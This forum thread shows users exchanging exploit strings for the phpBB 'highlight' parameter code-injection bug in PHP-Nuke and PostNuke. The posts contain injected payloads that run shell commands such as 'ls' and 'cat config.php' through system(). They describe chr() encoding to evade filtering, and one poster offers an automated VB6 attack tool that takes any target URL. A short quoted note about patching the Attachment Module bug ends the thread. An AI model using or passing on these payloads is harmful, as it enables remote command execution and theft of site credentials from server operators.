Yes reflex we are saying the same thing this doesnt work in php-nuke but DOES work in postnuke.
At least the | Code: |
&t=218&highlight=%2527.$poster=`ls`.%2527 |
works.Now to open config.php is should be
| Code: | | &highlight=%2527.$poster=`cat%20config.php`.%2527 |
Well that gives me a blank.It should be writtem elseways? |

ok.... I thing you were talking about phpnuke 
| Code: | | &t=218&highlight=%2527.$poster=`ls`.%2527 |
I dont think this could works... because you are only putting in the var $poster the string 'ls' .... you have to use the system, exec, etc functions to execute shell programs like ls.. cat... etc
like this
| Code: | | &t=218&highlight=%2527.system('ls').%2527 |
BUT!, you have to use function char because it gives you an error.
If you want We could make a modification to the exploit that gives you the URI that you have to put.

after the bug has released, i code some tool to explorer this vuln.
i made it on VB6.
Just type the FULL URL (http://www.site.com/phpbb/viewtopic.php?t=1234) and the command.. the program will do the work for you.
ps.: if the forum is in phpnuke, type the url like: http://www.site.com/nuke/modules.php?name=Foruns&file=viewtopic&t=1234
ps2.: the program is 100% in portuguese.. so if it displays "site n?o parece estar vulneravel", it mens 'the website dont seems vulnerable'.
oh, sorry my bad english

after this you should see the page source, because config.php includes HTML tags and is treated as HTML. |

I dont think this could work cos you are only passing the value 'cat%20config.php' to the var $poster ... so to execute commands you HAVE TO use function exec, system or something else like
| Code: | | &highlight=%2527.sytem(`cat%20config.php`).%2527 |
but using the function chr to remplace all the string. This is what the exploit does it tranform all you put in the edit box and convert every char into chr function like chr(75) |

There is also the issue about the bug in The Attachment Module by Acid Burn. This Bug has been reported (again to secunia) after 1 month (!!!) by Paul Laudanski.
| Quote: |
I read your work on the phpbb and attachment mod exploits. In the hopes
of releasing a patch for the attachmod, I wanted to ask you where
specifically you noticed the problem. Any details are appreciated.
